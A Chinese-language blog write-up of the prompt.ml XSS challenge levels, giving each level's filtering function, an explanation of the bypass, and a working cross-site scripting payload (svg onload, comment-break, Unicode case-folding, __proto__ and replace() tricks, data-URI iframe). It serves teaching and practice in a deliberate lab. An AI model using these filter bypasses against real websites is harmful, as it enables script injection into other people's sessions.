XSS(跨站脚本攻击)-Challenge

最近搞了一下XSS,JavaScript和HTML里面的一些特性非常有趣。
题目地址:http://prompt.ml/

Challenge 0

1
2
3
4
5
function escape(input) {
// warm up
// script should be executed without user interaction
return '<input type="text" value="' + input + '">';
}

没有任何过滤。

payload

1
"><svg onload=prompt(1)>


Challenge 1

1
2
3
4
5
6
7
8
function escape(input) {
// tags stripping mechanism from ExtJS library
// Ext.util.Format.stripTags
var stripTagsRE = /<\/?[^>]+>/gi;
input = input.replace(stripTagsRE, '');

return '<article>' + input + '</article>';
}

只是过滤了个>

payload

1
<svg onload=prompt(1)//


Challenge 2

1
2
3
4
5
6
7
function escape(input) {
// v-- frowny face
input = input.replace(/[=(]/g, '');

// ok seriously, disallows equal signs and open parenthesis
return input;
}

过滤了=(,由于xml编码特性,在svg向量中的<script>元素,会先进行xml解析。因此&#x28(十六进制)或者&#40(十进制)或者&lpar;(html实体编码)会被还原成

payload

1
<svg><script>prompt&#x28;1)</script>

(chrome必须闭合,firefox和IE可以不闭)


Challenge 3

1
2
3
4
5
6
7
function escape(input) {
// filter potential comment end delimiters
input = input.replace(/->/g, '_');

// comment the input to avoid script execution
return '<!-- ' + input + ' -->';
}

过滤了->,但是,可以用--!>

payload

1
--!><img src onerror=prompt(1)>

或是

1
--!><svg onload=prompt(1)>


Challenge 4

1
2
3
4
5
6
7
8
9
10
11
function escape(input) {
// make sure the script belongs to own site
// sample script: http://prompt.ml/js/test.js
if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
var script = document.createElement('script');
script.src = input;
return script.outerHTML;
} else {
return 'Invalid resource.';
}
}

这个题目是利用url的特性绕过,浏览器支持这样的url:http://user:password@attacker.com 。但是http://user:password/@attacker.com 是不允许的。由于这里的正则特性和decodeURIComponent函数,所以可以使用%2f绕过,如下:http://prompt.ml%2f@attacker.com 。所以域名越短,答案就越短。

payload

1
//prompt.ml%2f@qq.com

这题有点迷,本地过不了。


Challenge 5

1
2
3
4
5
6
7
function escape(input) {
// apply strict filter rules of level 0
// filter ">" and event handlers
input = input.replace(/>|on.+?=|focus/gi, '_');

return '<input value="' + input + '" type="text">';
}

过滤掉了>on*=focus,可以用换行来绕过。

payload

1
2
" type=image src  onerror
="prompt(1)


Challenge 6

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function escape(input) {
// let's do a post redirection
try {
// pass in formURL#formDataJSON
// e.g. http://httpbin.org/post#{"name":"Matt"}
var segments = input.split('#');
var formURL = segments[0];
var formData = JSON.parse(segments[1]);

var form = document.createElement('form');
form.action = formURL;
form.method = 'post';

for (var i in formData) {
var input = form.appendChild(document.createElement('input'));
input.name = i;
input.setAttribute('value', formData[i]);
}

return form.outerHTML + ' \n\
<script> \n\
// forbid javascript: or vbscript: and data: stuff \n\
if (!/script:|data:/i.test(document.forms[0].action)) \n\
document.forms[0].submit(); \n\
else \n\
document.write("Action forbidden.") \n\
</script> \n\
';
} catch (e) {
return 'Invalid form data.';
}
}

这题用到了一个很经典的问题。

比如说,有一个form表单,action=balabala,但,如果form里面有个inputname也叫actionname获取这个formaction的时候,获取到的会是这个input

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Test</title>
<body>
<form action="balabala">
<input type="" name="action">
</form>
<script type="text/javascript" >
console.log(document.forms[0].action)

</script>

  </body>
  </html>

结果会是
image

payload

1
javascript:prompt(1)#{"action":1}


Challenge 7

1
2
3
4
5
6
7
8
function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contain 12 characters
return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
}).join('\n');
}

用js的/* */注释符来解决。

payload

1
"><svg a='#' onload='/*#*/prompt(1)'

这样,html source就变成

1
2
3
<p class="comment" title=""><svg a="></p>
<p class="comment" title=""onload='/*"></p>
<p class="comment" title="*/prompt(1)'"></p>

可以说非常优雅了


Challenge 8

这题有点费解,关键是如何换行

过滤了换行、斜线、双引号、左尖括号

1
2
3
4
5
6
7
8
9
10
function escape(input) {
// prevent input from getting out of comment
// strip off line-breaks and stuff
input = input.replace(/[\r\n</"]/g, '');

return ' \n\
<script> \n\
// console.log("' + input + '"); \n\
</script> ';
}

查了一下,

payload

1
prompt(1)-->

但是如果直接手打prompt(1) - ->是不行的,然后,如果按原样复制,markdown不支持,hexo会报错,不知为何。

实在是很迷啊。


Challenge 9

1
2
3
4
5
6
7
8
9
function escape(input) {
// filter potential start-tags
input = input.replace(/<([a-zA-Z])/g, '<_$1');
// use all-caps for heading
input = input.toUpperCase();

// sample input: you shall not pass! => YOU SHALL NOT PASS!
return '<h1>' + input + '</h1>';
}

首先,正则表达式过滤了所有的tag,toUpperCase()是支持unicode函数的。
比如:字符ſ经过函数toUpperCase()处理后,会变成ASCII码字符”S”

payload

1
<ſcript/ſrc=//⒕₨></ſcript>

或者使用async

1
<ſcript/async/src=//⒛₨>

HTML的标签名和属性名并不区分大小写,async规定脚本将被异步执行。


Challenge A

1
2
3
4
5
6
7
8
9
function escape(input) {
// (╯°□°)╯︵ ┻━┻
input = encodeURIComponent(input).replace(/prompt/g, 'alert');
// ┬──┬ ノ( ゜-゜ノ) chill out bro
input = input.replace(/'/g, '');

// (╯°□°)╯︵ /(.□. \)DONT FLIP ME BRO
return '<script>' + input + '</script> ';
}

这题过滤了prompt和单引号,easy

(一开始还以为用了空格替换掉单引号(╯°□°)╯︵ ┻━┻)

payload

1
p'rompt(1)


Challenge B

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function escape(input) {
// name should not contain special characters
var memberName = input.replace(/[[|\s+*/\\<>&^:;=~!%-]/g, '');

// data to be parsed as JSON
var dataString = '{"action":"login","message":"Welcome back, ' + memberName + '."}';

// directly "parse" data in script context
return ' \n\
<script> \n\
var data = ' + dataString + '; \n\
if (data.action === "login") \n\
document.write(data.message) \n\
</script> ';
}

过滤了不可见字符和几乎所有的特殊符号,这里可以用in,in一般用来判断制定的属性是否在指定的对象中(不能对普通数组用)

payload

1
"(prompt(1))in"


Challenge C

1
2
3
4
5
6
7
8
9
function escape(input) {
// in Soviet Russia...
input = encodeURIComponent(input).replace(/'/g, '');
// table flips you!
input = input.replace(/prompt/g, 'alert');

// ノ┬─┬ノ ︵ ( \o°o)\
return '<script>' + input + '</script> ';
}

这题跟Challenge A 有点像,但是先过滤’再过滤prompt,需要用函数来做。

image

payload

1
eval((1558153217).toString(36))(1)

或是

1
eval((630038579).toString(30))(1)


Challenge D

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
 function escape(input) {
// extend method from Underscore library
// _.extend(destination, *sources)
function extend(obj) {
var source, prop;
for (var i = 1, length = arguments.length; i < length; i++) {
source = arguments[i];
for (prop in source) {
obj[prop] = source[prop];
}
}
return obj;
}
// a simple picture plugin
try {
// pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
var data = JSON.parse(input);
var config = extend({
// default image source
source: 'http://placehold.it/350x150'
}, JSON.parse(input));
// forbit invalid image source
if (/[^\w:\/.]/.test(config.source)) {
delete config.source;
}
// purify the source by stripping off "
var source = config.source.replace(/"/g, '');
// insert the content using mustache-ish template
return '<img src="{{source}}">'.replace('{{source}}', source);
} catch (e) {
return 'Invalid image data.';
}
}

这里涉及到JavaScript的arguments用法,比如,test是一个函数,那么argument就是传入test函数的参数对象image
如图清晰地表达出了各种东西是什么image
image
这个题目还涉及到js中的__proto__,每个对象都会在其内部初始化一个属性,就是__proto__,当我们访问对象的属性时,如果对象内部不存在这个属性,那么就会去__proto__里面找这个属性,这个__proto__又会有自己的__proto__,一直这样找下去,如图image
另外,replace函数还有些特性image
$`替换查找的字符串,并且在头部加上比配位置前的字符串部分,例如image

payload

1
{"source":{},"__proto__":{"source":"$`onerror=prompt(1)>"}}

第一个source,在delete的时候被删掉了,然后,在__proto__里面也弄一个对象,里面也有个source,其中$`使得会在头部加上<img src=",这样,代码就会变成

1
<img src="<img src="onerror=prompt(1)>">

ok。


Challenge E

1
2
3
4
5
6
7
8
9
10
11
12
13
function escape(input) {
// I expect this one will have other solutions, so be creative :)
// mspaint makes all file names in all-caps :(
// too lazy to convert them back in lower case
// sample input: prompt.jpg => PROMPT.JPG
input = input.toUpperCase();
// only allows images loaded from own host or data URI scheme
input = input.replace(/\/\/|\w+:/g, 'data:');
// miscellaneous filtering
input = input.replace(/[\\&+%\s]|vbs/gi, '_');

return '<img src="' + input + '">';
}

(\w用于查找非单词字符)

payload

1
"><IFRAME/SRC="x:text/html;base64,ICA8U0NSSVBUIC8KU1JDCSA9SFRUUFM6UE1UMS5NTD4JPC9TQ1JJUFQJPD4=

迷。


Challenge F

1
2
3
4
5
6
7
8
9
10
11
function escape(input) {
// sort of spoiler of level 7
input = input.replace(/\*/g, '');
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');

return segments.map(function(title, index) {
// title can only contain 15 characters
return '<p class="comment" title="' + title.slice(0, 15) + '" data-comment=\'{"id":' + index + '}\'></p>';
}).join('\n');
}

这里过滤了*号,所以不能用js的注释符,but,HTML里面的还可以在js里面使用

payload

1
"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script>

这个,其实我在本地测试是过不了的,貌似注释符会失效。


Hidden Level

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function escape(input) {
// WORLD -1

// strip off certain characters from breaking conditional statement
input = input.replace(/[}<]/g, '');

return ' \n\
<script> \n\
if (history.length > 1337) { \n\
// you can inject any code here \n\
// as long as it will be executed \n\
{{injection}} \n\
} \n\
</script> \n\
'.replace('{{injection}}', input);
}

过滤掉了}<

这里用到了一个点,js的history对象是用来保存浏览历史的,history.length可以返回浏览器历史列表中的URL数量。常见的“返回上一页”链接,代码如下。

1
2
3
document.getElementById('backLink').onclick = function () {
window.history.back();
}

还需要用到replace()的另一个技巧:$&
image
可以看到,匹配到之后是追加到后面的。

payload
image


THE END

reference

http://drops.xmd5.com/static/drops/tips-3059.html